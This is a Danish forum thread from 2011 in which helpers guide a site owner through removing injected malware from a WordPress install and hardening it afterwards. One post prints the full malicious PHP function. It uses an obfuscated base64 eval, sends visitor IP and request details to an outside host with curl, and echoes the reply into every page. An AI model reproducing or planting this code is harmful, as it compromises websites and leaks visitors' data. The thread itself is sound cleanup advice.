Hjælp til salg (Ikke internet)

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Phillip Dyhr Hobbs — Mon, 31 Oct 2011 11:06:56 GMT

Fenris:

Dunno if it is fixed :)

I have removed the code snippet Gita pointed out.

Will PM you with details Phillip

Wonderful thank you kindly!

Have a nice day

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Anonymous — Mon, 31 Oct 2011 10:49:27 GMT

Endnu en gang tak for hjælpen til alle, særligt Gita og Phillip.

Phillip vi taler videre over mail.

tråd lukket herfra

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Gita Street — Sun, 30 Oct 2011 16:52:04 GMT

Den er i hvert fald væk nu og der er ikke dukket ny malware op. Det er den heller ikke sket på en tidligere WordPress hjemmeside jeg har fikset.

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Anonymous — Fri, 28 Oct 2011 20:19:05 GMT

Dunno if it is fixed :)

I have removed the code snippet Gita pointed out.

Will PM you with details Phillip

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Phillip Dyhr Hobbs — Fri, 28 Oct 2011 20:15:37 GMT

Can I take that this is fixed?

I have been traveling today

so havent had time to follow

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Gita Street — Fri, 28 Oct 2011 11:36:13 GMT

Selv tak, Fenris.

Lige et hurtigt svar angående det vigtigste mht sikkerhed.

Nu den tilsyneladende er væk, vil jeg dog tjekke at filattributter/sikkerhedsinstillinger til wp-config.php er sat til 750. De er muligvis sat til 664 eller noget i den dur. Hvis de er det kan de stadig få fat i dit password, selv hvis du er helt virusfri.

Det er i wp-config.php du har password til databasen liggende. Den har de sandsynligvis haft adgang til, så den ville ændre. Den skal selvsagt så også ændres i wp-config.php når du har fået password ændret.

For fremover at holde øje med om der kommer ny malware så kan du bruge Google Webmaster tools. Den har en Malware diagnostics, der kan sende dig en e-mail hvis du bliver ramt igen.

Det vigtigste i forhold til Google og dine besøgende var at få den væk, og det har du nu. Det skriver jeg lidt mere om på min hjemmeside hvordan det er smartest at håndtere, men jeg når det vist ikke i dag.

Her er lidt om sikkerhedsindstillinger i WordPress:
http://codex.wordpress.org/Hardening_WordPress

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Anonymous — Fri, 28 Oct 2011 08:29:02 GMT

Jeg har nu slettet koden nu.

Er der noget jeg skal gøre i forhold til Google?

Tak for hjælpen Gita.

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Gita Street — Fri, 28 Oct 2011 07:34:28 GMT

Hej Fenris,

Det haster at få det fjernet, medmindre det ikke gør noget sitet ryger ud af Google :-)

Hvis du er nervøs for at slette det forkerte, så skriv i det mindste følgende kode udenomkring, da koden så ikke bliver kørt og du let kan rette tilbage igen:

Din viruskode

Det her skal med sikkerhed væk:
add_action('wp_head', 'counter_wordpress');
Der skulle også være en "function counter_wordpress". Den skal også væk.

Jeg gik ikke direkte ind på siden, da jeg ved der er malware. Jeg tjekkede kildekoden og kan se din malware-kode.

Jeg skriver noget om malware i WordPress her lidt senere:
http://streetpatrol.dk/wordpress/malware-virus

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Anonymous — Fri, 28 Oct 2011 06:49:04 GMT

Hej Lars,

Tak for dit indlæg, ret at få bekræftet fra en "uvildig" her på amino at der er noget galt..

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Lars Mogensen — Fri, 28 Oct 2011 06:44:38 GMT

Hej.

Jeg har netop prøvet, og jeg får en Trojan-advarsel fra ESET NOD, som netop viser en drsheldon.org.pl-adresse.

Tror også den mystiske, krypterede kode er skyld i det.

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Anonymous — Fri, 28 Oct 2011 06:33:50 GMT

Hej Gita,

allerførst tak for dit svar!

Det ser ud til du har helt ret, der er ihvertfald den kode snip i wp-settings.php.

Fik du advarslen da du prøvede at besøge siden?

Så hvis jeg bare sletter denne kode snippet, så er "virussen" slettet, eller er der andet jeg bør gøre?

Og endelig, hvordan er det kommet / forhindrer jeg det i at komme igen?

Phillip der var så venlig at tilbyde at lave dette, har du set Gitas indlæg?

Det her er alt der står i området hvor koden er:

http://codepad.org/1mX8OpCy

Læg mærke til man som Gita skrev skal scrolle langt til høre for at se en del af koden.

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Gita Street — Thu, 27 Oct 2011 12:49:20 GMT

Til praktisk info, så ser din virus i kildekoden på din hjemmeside sådan her ud. Det er nemlig en lidt tricky kode, der ikke viser sig hver gang du besøger din side.

</script>

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Gita Street — Thu, 27 Oct 2011 12:46:17 GMT

Hvis den ikke er i din wp-settings.php, så download dine WP-filer til computeren og brug et program til at søge efter kodestumpen "counter_wordpress".

Jeg ved ikke lige hvilket program jeg kan anbefale. Har selv Microsoft Visual Studio og det er nok lidt overkill i det her tilfælde.

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Gita Street — Thu, 27 Oct 2011 12:35:28 GMT

1. Åben filen wp-settings.php

2. Søg efter "counter_wordpress" i kildekoden.

3. Hvis den er der så slet hele den function counter_wordpress og dertilhørende add_action-

Ser cirka sådan her ud - og er flyttet godt til højre i koden så den ikke er synlig lige når du åbner filen:


function counter_wordpress() 
{$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = 
urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}
add_action('wp_head', 'counter_wordpress');

Svar: Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

Phillip Dyhr Hobbs — Thu, 27 Oct 2011 10:14:21 GMT

Fenris:

thats very nice of you!

Sending a PM

Replied, and thankyou :)